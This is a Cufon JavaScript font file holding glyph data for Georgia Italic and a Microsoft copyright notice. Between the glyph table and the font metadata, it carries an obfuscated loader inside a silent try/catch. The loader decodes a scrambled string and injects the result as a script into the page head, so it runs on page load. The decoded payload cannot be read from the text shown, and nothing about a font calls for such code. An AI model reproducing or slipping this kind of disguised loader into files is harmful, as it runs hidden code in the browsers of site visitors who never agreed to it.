1,54,-57","w":333},{"d":"208,-326v25,0,26,44,0,44v-11,0,-21,-10,-21,-22v0,-12,10,-22,21,-22xm128,-326v11,0,21,10,21,22v0,12,-10,22,-21,22v-25,0,-26,-44,0,-44xm163,-255v59,-3,100,42,97,102v-5,89,-56,154,-145,159v-58,3,-100,-42,-97,-101v4,-92,55,-156,145,-160xm118,-9v73,-5,98,-78,100,-155v1,-43,-18,-80,-59,-77v-70,5,-98,79,-100,154v-1,45,17,81,59,78","w":262},{"d":"198,-213v17,-17,-2,-26,-23,-25r3,-11r89,0v-6,22,-35,15,-47,36v-29,32,-61,73,-87,109v-8,20,-16,49,-19,74v-2,17,21,16,35,18r-3,12r-116,0r2,-12v21,-1,43,-2,45,-22v4,-29,22,-59,9,-88v-18,-40,-12,-106,-61,-116r3,-11r102,0v3,24,-46,-2,-35,32r30,96","w":221},{"d":"41,-172v30,2,55,-8,70,-22r15,0r-39,165v-1,17,23,15,36,17r-3,12r-118,0r3,-12v21,-2,44,-1,48,-21r29,-125r-44,0","w":154},{"d":"142,38v-8,20,7,30,27,29r-3,11r-96,0r2,-11v18,0,32,-3,35,-19v4,-23,14,-50,16,-72v-15,10,-30,29,-56,29v-36,0,-56,-29,-55,-68v0,-77,71,-138,144,-103v11,-1,26,-12,34,-6xm49,-63v0,26,4,49,31,48v21,-1,34,-14,47,-26r22,-93v-1,-19,-11,-31,-32,-31v-46,0,-68,50,-68,102","w":199},{"d":"91,48v-1,-11,-12,-12,-27,-12r6,-32v-37,-2,-58,-28,-58,-68v0,-64,34,-109,97,-113v30,-1,49,12,52,37v3,28,-38,43,-42,15v0,-8,9,-25,10,-31v-45,-33,-84,36,-81,87v2,30,12,54,41,54v27,-1,42,-17,56,-35r10,8v-14,21,-41,44,-71,46r-3,13v42,-5,47,43,13,54v-15,5,-33,6,-53,7r3,-13v21,-1,46,3,47,-17","w":163},{"d":"195,-9v-28,16,-70,18,-72,-16v-19,15,-31,31,-63,29v-68,-5,-18,-94,-14,-143v2,-22,-21,-16,-35,-13r2,-11v28,-18,78,-20,66,32r-20,89v-1,42,54,23,68,2r31,-133v11,1,27,-5,33,1r-31,138v-3,22,22,17,37,14xm132,-255v8,-23,50,-16,35,9v-23,20,-37,27,-67,51r-7,-6","w":207},{"d":"104,-237v-15,-7,-13,-34,5,-33v22,1,25,24,34,38r19,31r-7,6","w":180},{"w":86},{"d":"123,75r-23,0r-42,-343r23,0","w":168},{"d":"19,-6v29,0,16,32,9,43v43,41,112,-16,105,-74v4,-55,-76,-50,-95,-20r-11,-5r42,-127r127,0r-8,31r-111,0r-24,75v37,-28,122,-19,118,43v-5,63,-47,101,-111,104v-32,2,-63,-15,-65,-42v-1,-14,10,-28,24,-28","w":190},{"d":"115,-177v41,-2,69,28,67,69v-3,65,-37,112,-105,113v-39,1,-66,-29,-65,-69v3,-66,37,-110,103,-113xm83,-7v48,0,61,-56,63,-108v0,-30,-10,-50,-35,-50v-48,0,-62,55,-63,107v-1,30,8,51,35,51","w":193},{"d":"201,-133v-2,-10,-15,-10,-27,-13r3,-12r94,0r-3,12v-60,3,-67,64,-102,92v12,23,31,42,66,42r-3,12r-68,0r-20,-32v-20,17,-41,37,-76,38v-34,1,-64,-22,-62,-56v3,-48,35,-67,76,-89v-34,-44,-12,-120,54,-116v26,2,48,14,47,41v-2,43,-28,52,-66,72r45,79v16,-21,36,-40,42,-70xm109,-152v27,-14,47,-27,48,-61v0,-17,-9,-28,-26,-28v-44,0,-44,60,-22,89xm84,-128v-43,12,-65,111,-1,111v21,0,38,-11,51,-24","w":255},{"d":"63,-58v-7,22,-7,50,24,41v4,-1,8,-1,10,-2r-3,11v-31,20,-81,15,-67,-33v10,-33,18,-64,22,-100v4,-23,-21,-16,-36,-13r2,-11v30,-19,80,-19,67,32xm56,-262v3,-9,26,-13,31,-1r25,61r-9,5r-34,-48r-51,48r-8,-5","w":107},{"d":"49,-269v107,12,83,189,35,257v-28,40,-60,65,-100,70r3,-15v76,-23,105,-118,105,-216v0,-42,-11,-77,-46,-83","w":135},{"d":"159,-58v-9,26,-1,52,33,38r-2,11v-32,19,-80,17,-68,-33r22,-89v-2,-44,-59,-19,-72,2r-30,129r-32,0r54,-239v1,-17,-14,-17,-29,-18r3,-11r65,-4r2,3r-28,121v25,-32,109,-48,100,17v-4,26,-10,49,-18,73","w":202},{"d":"317,-249r-184,249r-24,0r184,-249r24,0xm358,-56r-4,18r-28,0r-9,42r-30,0r10,-42r-87,0r5,-21r121,-110r20,0r-26,113r28,0xm319,-135r-86,79r68,0xm52,-213v2,-48,119,-62,119,-7v0,28,-25,36,-46,47v19,3,38,10,38,33v0,38,-42,60,-84,60v-27,0,-50,-11,-52,-31v-2,-19,32,-33,35,-9v1,6,-5,15,-7,18v27,25,78,-1,75,-40v-2,-22,-26,-23,-51,-22r4,-16v34,3,54,-12,54,-42v0,-27,-40,-25,-51,-10v2,17,-1,32,-21,31v-7,0,-13,-5,-13,-12","w":377},{"d":"137,-236v-49,-6,-70,32,-91,57r-13,0r24,-70r187,0r-2,6r-206,230v39,0,86,3,113,-10v16,-13,38,-38,49,-55r13,0r-27,78r-200,0r2,-6r206,-230r-55,0","w":216},{"d":"130,-256v25,1,44,6,47,27v1,10,-7,22,-20,21v-16,-2,-18,-19,-21,-33v-28,-8,-58,9,-59,34v13,41,87,1,87,87v-1,31,-30,56,-57,65v15,8,28,20,29,40v3,52,-95,84,-129,40v-7,-23,26,-40,35,-16v4,11,2,24,20,24v23,0,48,-17,46,-38v-4,-43,-89,-36,-85,-90v2,-34,25,-52,55,-64v-15,-9,-29,-18,-29,-38v0,-36,41,-60,81,-59xm96,-61v37,-11,55,-64,14,-81v-5,-3,-11,-6,-19,-10v-40,6,-55,65,-15,81v5,2,12,6,20,10","w":180},{"d":"163,-255v59,-3,100,42,97,102v-5,89,-56,154,-145,159v-58,3,-100,-42,-97,-101v4,-92,55,-156,145,-160xm118,-9v73,-5,98,-78,100,-155v1,-43,-18,-80,-59,-77v-70,5,-98,79,-100,154v-1,45,17,81,59,78","w":262},{"d":"59,-65v0,-24,-18,-29,-46,-32r5,-21v53,-1,67,-38,72,-89v5,-47,39,-63,94,-63r-4,13v-86,-3,-36,123,-114,141v-8,5,-25,1,-27,12v26,5,48,14,48,45v0,28,-14,52,-14,79v0,21,18,24,38,25r-3,14v-41,-1,-65,-8,-66,-43v-1,-29,17,-53,17,-81","w":154},{"d":"119,-255v35,-2,59,24,57,56v-3,52,-32,90,-88,92v-32,1,-57,-25,-56,-57v3,-53,33,-88,87,-91xm93,-119v39,-3,48,-47,51,-86v2,-21,-8,-38,-28,-38v-40,2,-50,45,-52,85v-1,20,8,41,29,39","w":180},{"d":"52,-249v71,4,179,-20,179,50v0,69,-61,93,-139,89r-19,83v-1,15,18,14,32,15r-2,12r-107,0r2,-12v19,0,35,-4,39,-21r42,-189v1,-15,-18,-13,-30,-16xm95,-124v58,5,93,-21,93,-71v0,-35,-28,-45,-67,-41","w":219},{"d":"263,-177v16,0,22,14,22,32v-5,76,-33,150,-106,150v-24,0,-44,-14,-49,-34v-17,15,-30,34,-60,34v-76,0,-31,-92,-24,-144v4,-22,-21,-16,-35,-13r2,-11v28,-18,81,-19,66,32v-8,29,-18,55,-20,89v-3,44,55,24,68,3r31,-134v10,1,27,-6,33,1r-29,129v-1,20,11,30,30,28v47,-5,76,-55,66,-109v-14,-12,-26,-52,5,-53","w":296},{"d":"63,-58v-7,22,-7,50,24,41v4,-1,8,-1,10,-2r-3,11v-31,20,-81,15,-67,-33v10,-33,18,-64,22,-100v4,-23,-21,-16,-36,-13r2,-11v30,-19,80,-19,67,32xm46,-237v-15,-7,-13,-34,5,-33v22,1,25,24,34,38r19,31r-7,6","w":107},{"d":"136,-55v0,37,-34,60,-72,60v-28,0,-61,-9,-61,-33v0,-10,8,-20,18,-20v29,1,14,43,47,41v24,-1,38,-13,38,-36v0,-44,-83,-25,-80,-79v2,-37,39,-60,85,-55v17,2,37,9,37,27v0,30,-38,19,-40,-2v-11,-27,-55,-8,-52,18v5,44,80,27,80,79","w":155},{"d":"198,-304v18,0,22,-9,28,-23r10,4v-5,38,-55,55,-87,27v-20,-9,-29,6,-37,21r-10,-4v8,-19,18,-43,44,-43v24,0,32,18,52,18xm163,-255v59,-3,100,42,97,102v-5,89,-56,154,-145,159v-58,3,-100,-42,-97,-101v4,-92,55,-156,145,-160xm118,-9v73,-5,98,-78,100,-155v1,-43,-18,-80,-59,-77v-70,5,-98,79,-100,154v-1,45,17,81,59,78","w":262},{"d":"152,-171v14,-9,37,-6,36,13v0,22,-29,22,-46,15v-12,13,-28,33,-38,51v10,38,14,90,67,72r-3,12v-29,15,-68,18,-77,-18r-10,-39v-21,25,-31,63,-69,68v-12,1,-19,-6,-19,-18v0,-22,31,-23,46,-14v11,-12,28,-33,38,-50v-10,-32,-10,-93,-62,-72r3,-12v13,-6,26,-12,39,-12v37,-1,34,41,43,69v14,-21,30,-52,52,-65","w":180},{"d":"148,-124v10,12,11,39,0,51r33,33r-15,15r-33,-32v-13,9,-38,9,-51,0r-33,33r-15,-16r32,-33v-9,-13,-9,-38,0,-51r-32,-33r15,-15r33,33v11,-10,39,-10,51,-1r32,-32r16,15xm107,-69v15,0,29,-14,29,-29v0,-15,-13,-29,-29,-29v-15,0,-28,14,-28,29v0,15,14,29,28,29","w":205},{"d":"78,-214v7,-19,-16,-23,-30,-24r3,-11r196,0r-15,62r-13,0v-1,-33,-15,-49,-55,-49r-43,0r-23,101v45,4,73,-7,80,-41r14,0r-23,98v-16,4,-12,-8,-13,-22v-2,-27,-34,-21,-62,-22v-6,32,-16,60,-20,94v-1,15,19,14,31,16r-3,12r-108,0r3,-12v19,0,35,-3,39,-20","w":215},{"d":"79,-228v-6,-48,89,-67,92,-13v5,47,-88,65,-92,13xm120,-206v29,3,42,-54,10,-58v-29,-3,-43,56,-10,58xm193,-9v-28,15,-67,19,-72,-14v-14,12,-29,27,-54,28v-36,0,-56,-29,-55,-68v0,-76,70,-138,143,-103v11,-1,26,-12,34,-6r-31,138v-3,22,22,17,37,14xm49,-63v-6,56,52,60,76,23r22,-94v1,-21,-11,-31,-31,-31v-46,0,-62,51,-67,102","w":206},{"d":"233,-214v6,-18,-14,-23,-28,-24r3,-11r103,0r-2,11v-18,2,-34,5,-38,22r-43,188v1,12,15,16,28,16r-2,12r-104,0r3,-12v18,0,34,-4,38,-20r21,-90r-117,0v-6,32,-18,60,-21,94v-1,13,15,16,28,16r-3,12r-103,0r2,-12v18,-1,34,-3,38,-20r43,-188v1,-15,-17,-16,-29,-18r3,-11r104,0r-3,11v-18,2,-34,5,-38,22r-18,79r118,0","w":293},{"d":"153,-172v13,-9,36,-4,35,15v-1,22,-30,25,-45,14v-15,11,-28,18,-42,33v21,35,21,110,83,90r-3,12v-18,6,-25,12,-44,11v-42,-3,-42,-59,-59,-88r-21,17r-15,68r-32,0r54,-239v1,-17,-14,-17,-29,-18r3,-11r65,-4r2,3r-43,183v30,-28,58,-63,91,-86","w":190},{"d":"126,-237v-53,-6,-74,25,-91,55r-12,0r15,-67r218,0r-16,67r-12,0v-1,-38,-17,-62,-65,-55r-47,208v-2,17,22,14,35,17r-3,12r-117,0r2,-12v21,0,42,-4,46,-22","w":222},{"d":"132,-214v6,-20,-18,-22,-33,-24r3,-11r111,0r-3,11v-18,1,-39,4,-40,22v-28,88,-13,217,-125,222v-31,1,-54,-16,-54,-46v-1,-21,13,-46,32,-44v41,5,3,52,-9,64v12,21,63,15,69,-8v26,-51,32,-125,49,-186","w":186},{"d":"185,-268r-181,343r-24,0r181,-343r24,0","w":168},{"d":"176,-202r-9,5r-39,-48r-58,48r-9,-5r60,-67v6,-3,23,-3,24,5xm193,-9v-28,15,-67,19,-72,-14v-14,12,-29,27,-54,28v-36,0,-56,-29,-55,-68v0,-76,70,-138,143,-103v11,-1,26,-12,34,-6r-31,138v-3,22,22,17,37,14xm49,-63v-6,56,52,60,76,23r22,-94v1,-21,-11,-31,-31,-31v-46,0,-62,51,-67,102","w":206},{"d":"155,-42v-14,23,-44,46,-77,47v-42,0,-67,-27,-66,-69v2,-64,34,-109,97,-113v30,-1,49,12,52,37v3,28,-38,43,-42,15v0,-8,9,-25,10,-31v-45,-33,-84,36,-81,87v2,30,12,54,41,54v27,-1,42,-17,56,-35","w":163},{"d":"215,-228v-1,-7,-18,-10,-27,-10r3,-11r93,0r-3,11v-48,3,-64,41,-92,66v-23,20,-21,23,-36,38v20,40,32,87,59,119v4,4,15,3,23,3r-3,12r-112,0r3,-12v18,0,41,0,32,-24r-29,-73v-23,25,-58,55,-76,88v0,9,17,8,27,9r-2,12r-94,0r2,-12v51,-3,67,-41,94,-68r42,-43r-47,-102v-3,-9,-20,-12,-32,-13r3,-11r111,0r-3,11v-19,0,-44,3,-32,23v10,29,15,40,28,68v27,-31,49,-48,68,-81","w":255},{"d":"139,-177v37,1,57,28,57,67v0,78,-73,140,-142,102v-4,29,-32,78,18,75r-2,11r-97,0r2,-11v18,0,31,-4,34,-19r40,-187v3,-23,-21,-17,-35,-13r2,-11v22,-12,65,-22,69,11v17,-9,30,-25,54,-25xm94,-8v47,-6,62,-50,66,-101v4,-52,-50,-63,-77,-26r-23,100v2,14,16,28,34,27","w":208},{"d":"118,-274v8,6,26,18,32,26r39,-21r8,14r-38,19v57,74,29,241,-80,241v-39,0,-69,-30,-67,-70v4,-62,36,-105,98,-108v20,0,39,12,44,25v8,-22,-8,-61,-16,-78r-46,25r-7,-13r46,-24v-6,-10,-15,-19,-23,-26xm84,-7v46,0,64,-56,64,-107v0,-24,-12,-47,-37,-46v-47,3,-62,56,-63,104v-1,28,10,49,36,49","w":196},{"d":"169,-58v-9,19,-9,51,23,40v4,-1,8,-1,10,-2r-3,11v-31,20,-82,16,-67,-33v9,-29,16,-57,21,-89v-3,-45,-56,-19,-71,2r-30,129r-33,0r31,-139v2,-22,-22,-17,-36,-13r3,-11v24,-14,68,-21,69,16v23,-16,33,-30,66,-30v59,0,25,80,17,119","w":212},{"d":"202,-88r-163,84r0,-24r136,-70r-136,-71r0,-24r163,85r0,20"},{"d":"178,-252v-7,37,-39,14,-45,-6v-31,6,-33,50,-43,86r44,0r-3,16r-44,0v-25,90,-19,222,-120,234v-17,2,-30,-6,-30,-21v7,-36,39,-12,45,7v26,-7,33,-36,40,-68r32,-152r-34,0r4,-16r33,0v11,-52,35,-96,91,-100v17,-1,30,6,30,20","w":118},{"d":"193,-9v-28,15,-67,19,-72,-14v-14,12,-29,27,-54,28v-36,0,-56,-29,-55,-68v0,-76,70,-138,143,-103v11,-1,26,-12,34,-6r-31,138v-3,22,22,17,37,14xm49,-63v-6,56,52,60,76,23r22,-94v1,-21,-11,-31,-31,-31v-46,0,-62,51,-67,102","w":206},{"d":"207,-140r-26,0r-56,-92r-57,92r-26,0r73,-116r19,0"},{"d":"54,-249v104,-3,216,-9,212,96v-3,96,-66,153,-162,153r-109,0r3,-12v18,1,34,-4,38,-20r43,-189v1,-14,-18,-14,-28,-17xm112,-14v77,0,111,-62,113,-139v2,-59,-40,-92,-104,-82r-46,202v1,17,16,19,37,19","w":269},{"d":"12,-64v-1,-77,70,-137,143,-102v11,-1,26,-12,34,-6v-31,99,-12,248,-140,250v-26,0,-47,-4,-47,-25v0,-10,6,-20,18,-19v17,1,22,20,28,32v53,-1,66,-42,77,-90v-18,9,-31,29,-60,28v-36,-1,-53,-30,-53,-68xm49,-64v-6,58,55,57,79,23r20,-95v0,-20,-13,-29,-32,-29v-47,0,-62,51,-67,101","w":206},{"d":"85,-145v27,-18,41,-43,75,-26v15,13,8,53,-16,53v-24,0,-19,-29,-10,-41v-24,3,-39,17,-53,33r-28,126r-33,0r30,-139v2,-22,-22,-17,-36,-13r3,-11v24,-13,71,-24,68,18","w":166},{"d":"217,-215v11,-19,-15,-21,-31,-23r3,-11r95,0v-6,21,-41,15,-48,41r-133,211r-15,0r-34,-227v-5,-8,-16,-13,-27,-14r2,-11r101,0r-2,11v-19,3,-37,-1,-34,18r24,169r86,-139v7,-12,11,-20,13,-25","w":239}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+-114-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("*_;X,h!$W7qH*1f0KhL2a_aqCk!X;hqHCk(2W7JR;}gD`4$5C|:{]_a{`hf>KYV{;F!>KYV{;h!}C|:{]_JhNfMX]FZv!YK>KYV{;%!>KYV{`%;>KYV{`4f>KYV{;YL>KYV{`4K>KYV{`h(>KYV{;%;K}$Z>KYV{;Y;>KYV{;7(>KYV{`%(YC|:{]_]4C|:{]_)^NEc>KYV{;%QQC|:{]_]{C|:{]_:4K5K>KYV{`Y!>KYV{;Yf>KYV{;7L>KYV{;FZ>KYV{`%L>KYV{;YZ>KYV{;_]DC|:{]_aiC|:{]_:$C|:{]_aXC|:{]_TkC|:{]_`$C|:{]_acC|:{]_;Q;LMX]FZQ`fMX]FZQ;LMX]FZh]}MX]FZQ]fMX]FZf;fMX]FZf+LMX]FZ5;1I>KYV{`Yv>KYV{`4J>KYV{`4L>KYV{;%zvC|:{]_Lh]XMX]FZQ;C}>KYV{;FT2C|:{]_]kC|:{]_;hC|:{]_JvC|:{]_)iC|:{]_LvC|:{]_TcC|:{]_)$C|:{]_`^tfMX]FZ%!}MX]FZ5!XMX]FZ%`fMX]FZ%]fq>KYV{`7}>KYV{;%}FC|:{]_!fC|:{]_!hC|:{]_)c*LMX]FZh`fMX]FZf;LMX]FZ%`XMX]FZv`fMX]FZ%;|MDKTLIVZ1FTL_|a(*8]!+3)JEY:}7C`;W,>KNtzv5%QfhRxsp[DIH.{M24$Xk^icB0gq-y3YQ0+RXfC1(+C|:{]_!vC|:{]_`2C|:{]_LQC|:{]_a$)QKLE}MX]FZv]Q{pC|:{]4Kf7XMX]FZv]YM>KYV{`%!>KYV{`4v>KYV{`YZEaXMX]FZh;YJpEXL>KYV{`h]i8YVk3XMX]FZv`XMX]FZ5;5}!C|:{]_)k7YLMC|:{]_:^C|:{]_;v`1Z>CF}.(fMX]FZf;EfxC|:{]_(f7fMX]FZv!$q0C|:{]_(v:|K>KYV{;7!4C|:{]_)XNLMX]FZv!T;>KYV{;Y}aWXJ*C1q>KYV{;Y(%7|Z>KYV{;%ZH3h;vCQJR>f`58R!{,_f$*1a5*EMs3YVD>FX58RVD,FX{8hMf,hK$W1MR37aH;5cR,|f{W|]qN^$0W7`x`5c.W4$.C5zy+RK^KX{H*Ygx34xH*X{HW7JfC1cQW^{H*X{HK_}4K_fQ;}{H;_Ig85I>8hfQ;CZ2W7c$C1cQW^{H*X{HK_}4K_fQ;CZ2W7c$C1cQW2QQ8kQHK_}4K1vD,k!vK_f.,5cx,^!$,hLI;EQs;hq2*FIs3_{0*2Is*7K,`XIsC}$q>LIsCC$s*1Qz")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":231,"face":{"font-family":"Georgia","font-weight":400,"font-style":"italic","font-stretch":"normal","units-per-em":"360","panose-1":"2 4 5 2 5 4 5 9 3 3","ascent":"288","descent":"-72","x-height":"5","bbox":"-70 -328.853 392 78.3031","underline-thickness":"16.875","underline-position":"-23.7305","slope":"-13","unicode-range":"U+0020-U+00FF"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * � 2006 Microsoft Corporation. All Rights Reserved.
 * 
 * Trademark:
 * Georgia is either a registered trademark or a trademark of Microsoft
 * Corporation in the United States and/or other countries.
 * 
 * Manufacturer:
 * Carter & Cone
 * 
 * Designer:
 * Matthew Carter
 * 
 * License information:
 * http://www.microsoft.com/typography/fonts/
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"178,-172v20,-12,50,-6,50,21v0,36,-50,38,-69,17v-10,5,-9,5,-20,15v14,31,23,71,43,95v7,8,32,2,41,-1r-4,16v-23,8,-40,17,-66,13v-41,-6,-42,-48,-57,-82v-20,15,-18,52,-27,78r-58,0r53,-234v1,-18,-15,-19,-30,-21r3,-13r92,-4r2,3r-42,183v35,-32,54,-63,89,-86","w":230},{"d":"114,-259v32,4,78,39,90,-6r14,4v-13,22,-28,51,-60,53v-32,3,-52,-34,-77,-11r-13,18r-12,-6v11,-22,28,-49,58,-52xm131,-179v50,-2,87,26,86,74v-2,71,-50,109,-122,111v-48,1,-84,-28,-83,-75v1,-71,50,-108,119,-110xm101,-8v46,-8,51,-66,54,-117v0,-25,-7,-38,-27,-40v-45,6,-53,65,-54,116v0,25,7,39,27,41","w":228},{"d":"154,-290v-25,-7,-17,-43,10,-38v35,7,41,39,66,60r-7,7xm254,-176v11,-34,0,-61,-30,-61r3,-12r108,0r-3,12v-19,3,-39,6,-46,25v-24,63,-23,157,-75,195v-59,43,-192,30,-170,-67r31,-134v-2,-15,-14,-15,-32,-19r3,-12r134,0r-3,12v-18,3,-36,4,-40,22r-31,139v-16,65,66,72,102,39v33,-30,33,-91,49,-139","w":300},{"d":"104,-151v37,-41,123,-36,123,40v0,82,-78,141,-151,103r-12,56v0,16,20,16,34,18r-3,12r-127,0r3,-12v16,-3,31,-3,35,-21r40,-179v3,-23,-26,-19,-41,-13r4,-15v28,-15,86,-24,95,11xm111,-10v40,-8,48,-54,53,-102v4,-43,-40,-50,-59,-23r-22,97v0,17,11,28,28,28","w":238},{"d":"239,-11v-33,21,-89,19,-99,-17v-22,19,-38,33,-74,33v-71,0,-26,-91,-19,-139v3,-23,-27,-20,-41,-12r4,-16v39,-26,114,-16,92,49v-8,23,-17,45,-17,71v0,35,47,9,58,-4r29,-127r56,-3r2,3r-29,134v-4,23,28,19,41,12xm140,-254v8,-19,48,-26,54,-3v-4,25,-21,27,-43,39r-42,24r-7,-6","w":246},{"d":"173,-261v84,0,156,71,156,155v0,84,-72,155,-156,155v-84,0,-155,-71,-155,-155v0,-84,71,-155,155,-155xm173,34v75,0,138,-64,138,-140v0,-76,-63,-140,-138,-140v-75,0,-138,64,-138,140v0,76,63,140,138,140xm207,-106v22,20,34,62,73,70r0,11r-63,0r-54,-74r-6,0v2,27,-10,66,21,63r0,11r-84,0r0,-11v10,-1,22,-2,22,-15r0,-111v2,-13,-13,-14,-22,-17r0,-10v58,4,153,-18,153,39v0,26,-18,37,-40,44xm157,-111v29,2,45,-8,44,-36v0,-26,-18,-30,-44,-30r0,66","w":339},{"d":"240,-220v8,-14,-15,-16,-27,-17r3,-12r95,0r-3,12v-64,20,-85,76,-124,113v-26,25,-24,53,-35,93v0,16,20,16,34,18r-3,13r-139,0r3,-13v20,0,41,-4,43,-23v4,-28,21,-58,7,-84v-22,-41,-17,-109,-72,-117r3,-12r139,0r-3,12v-20,1,-39,-1,-34,20v7,29,22,65,32,95","w":263},{"d":"157,-100r-15,-91r-57,91r72,0xm44,-27v2,12,18,12,33,14r-3,13r-105,0r3,-13v25,-2,41,-13,52,-31r135,-209r35,0r41,226v5,8,18,13,30,14r-3,13r-133,0r3,-13v20,-3,41,0,37,-22r-9,-49r-86,0v-9,15,-26,38,-30,57","w":272},{"d":"159,-257v42,-1,81,19,81,54v0,36,-31,54,-65,64v29,12,53,27,53,60v0,54,-61,86,-123,86v-46,0,-90,-20,-90,-59v0,-41,32,-60,72,-69v-24,-12,-40,-30,-40,-58v0,-55,54,-76,112,-78xm163,-145v16,-23,35,-94,-10,-97v-36,-3,-64,55,-29,75xm113,-8v44,0,75,-61,34,-82r-48,-25v-26,20,-41,107,14,107","w":243},{"d":"373,-209v14,-23,-8,-25,-31,-28r3,-12r103,0r-3,12v-22,4,-36,14,-46,31r-121,209r-36,0r-23,-184r-101,184r-35,0r-23,-210v-2,-21,-16,-25,-34,-30r3,-12r130,0r-3,12v-24,2,-36,4,-33,34r13,135r99,-181r37,0r23,187","w":405},{"d":"125,-25r-4,16v-41,27,-108,15,-92,-50r19,-77v3,-24,-26,-19,-41,-13r4,-15v39,-26,115,-16,91,49v-14,38,-41,115,23,90xm37,-234v-19,-8,-13,-39,8,-38v40,4,41,47,64,72r-8,6","w":131},{"d":"178,-142v-61,3,-137,-17,-144,39r-13,0r20,-86r186,0r-6,22r-179,232r-30,0","w":203},{"d":"112,-254v8,-19,48,-26,54,-3v-4,25,-21,27,-43,39r-42,24r-7,-6","w":180},{"d":"117,-67v21,-10,33,-47,10,-63v-10,-7,-21,-11,-33,-18v-20,11,-35,47,-10,63v9,7,22,12,33,18xm65,41v-31,-1,-57,-7,-58,-36v0,-13,10,-22,23,-22v23,0,26,25,33,43v37,6,64,-31,34,-52v-27,-19,-74,-24,-74,-67v0,-36,24,-48,58,-60v-17,-9,-30,-20,-30,-41v0,-40,47,-63,92,-62v31,1,59,8,59,36v0,13,-9,22,-23,22v-25,0,-24,-29,-36,-43v-23,0,-44,10,-44,31v12,46,91,32,89,88v-1,36,-25,49,-58,61v16,7,29,19,29,39v0,41,-46,64,-94,63","w":202},{"d":"-54,18v26,1,34,28,43,46v44,-73,39,-202,77,-283v14,-30,51,-53,98,-53v38,0,73,11,73,46v0,40,-35,52,-63,64v29,6,51,24,51,59v1,68,-63,123,-140,101r3,-15v53,11,75,-42,74,-96v0,-26,-9,-45,-37,-42v3,-6,0,-18,10,-16v31,-3,47,-23,47,-58v0,-34,-39,-37,-52,-14v-54,100,-12,321,-160,321v-29,0,-50,-7,-51,-34v-1,-14,12,-27,27,-26","w":236},{"d":"15,-97v-2,-119,120,-190,233,-143v7,-5,14,-11,28,-9r-19,91r-16,0v-3,-46,-23,-82,-66,-82v-69,0,-88,78,-91,149v-2,43,23,74,63,74v43,0,65,-26,88,-55r13,9v-25,38,-60,70,-121,70v-68,0,-111,-38,-112,-104","w":257},{"d":"133,-9v74,0,91,-92,91,-177r-136,142v6,21,21,35,45,35xm175,-240v-75,0,-91,91,-92,176r137,-142v-7,-21,-20,-34,-45,-34xm292,-154v3,121,-127,198,-234,141r-29,30r-13,-12r28,-30v-17,-16,-29,-40,-29,-71v0,-96,66,-160,163,-160v29,0,53,7,71,20r28,-29r13,12r-28,28v17,17,30,40,30,71","w":295},{"d":"226,-328v16,0,28,14,28,29v0,15,-12,29,-28,29v-15,0,-27,-14,-27,-29v0,-15,11,-29,27,-29xm132,-328v15,0,28,14,28,29v0,15,-14,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29xm178,-256v64,-3,117,40,114,102v-4,97,-64,159,-164,161v-63,2,-115,-41,-113,-103v4,-96,66,-155,163,-160xm133,-9v68,-7,91,-86,91,-162v0,-38,-14,-69,-49,-69v-71,0,-88,86,-91,162v-1,38,14,73,49,69","w":295},{"d":"125,-25r-4,16v-41,27,-108,15,-92,-50r19,-77v3,-24,-26,-19,-41,-13r4,-15v39,-26,115,-16,91,49v-14,38,-41,115,23,90xm95,-272v17,0,34,14,34,32v0,18,-17,32,-34,32v-18,0,-35,-14,-35,-32v0,-18,17,-32,35,-32","w":131},{"d":"100,3v-8,28,14,41,39,41r-2,15v-54,1,-105,-8,-92,-67v7,-37,30,-91,-32,-86r6,-27v53,1,71,-30,71,-82v0,-55,53,-68,116,-67r-3,14v-75,-5,-38,98,-89,126v-15,9,-33,14,-51,18r-3,13v51,5,54,55,40,102","w":180},{"d":"191,-199r-10,5r-48,-45r-63,45r-9,-5v21,-23,35,-53,61,-70v10,-7,35,-5,37,7v14,20,20,37,32,63xm11,-62v-2,-81,80,-142,154,-103r54,-11r3,3r-31,134v-2,23,28,19,42,13r-3,15v-30,18,-83,23,-96,-11v-19,10,-31,27,-61,27v-41,0,-62,-26,-62,-67xm74,-61v-4,40,39,52,58,23r23,-95v-1,-16,-8,-30,-26,-28v-41,5,-50,54,-55,100","w":237},{"d":"11,-62v-2,-81,80,-142,154,-103r54,-11r3,3r-31,134v-2,23,28,19,42,13r-3,15v-30,18,-83,23,-96,-11v-19,10,-31,27,-61,27v-41,0,-62,-26,-62,-67xm74,-61v-4,40,39,52,58,23r23,-95v-1,-16,-8,-30,-26,-28v-41,5,-50,54,-55,100","w":237},{"d":"131,-179v50,-2,87,26,86,74v-2,71,-50,109,-122,111v-48,1,-84,-28,-83,-75v1,-71,50,-108,119,-110xm101,-8v46,-8,51,-66,54,-117v0,-25,-7,-38,-27,-40v-45,6,-53,65,-54,116v0,25,7,39,27,41xm180,-266v16,0,28,15,28,29v0,14,-13,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29xm93,-266v15,0,28,15,28,29v0,14,-14,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29","w":228},{"d":"187,-242v7,52,-97,69,-101,14v-5,-50,96,-68,101,-14xm132,-206v29,3,43,-56,9,-57v-28,-4,-42,55,-9,57xm11,-62v-2,-81,80,-142,154,-103r54,-11r3,3r-31,134v-2,23,28,19,42,13r-3,15v-30,18,-83,23,-96,-11v-19,10,-31,27,-61,27v-41,0,-62,-26,-62,-67xm74,-61v-4,40,39,52,58,23r23,-95v-1,-16,-8,-30,-26,-28v-41,5,-50,54,-55,100","w":237},{"d":"161,-323v32,5,78,38,90,-6r14,4v-13,22,-28,50,-60,53v-31,2,-53,-34,-77,-12r-13,18r-13,-5v13,-20,27,-50,59,-52xm178,-256v64,-3,117,40,114,102v-4,97,-64,159,-164,161v-63,2,-115,-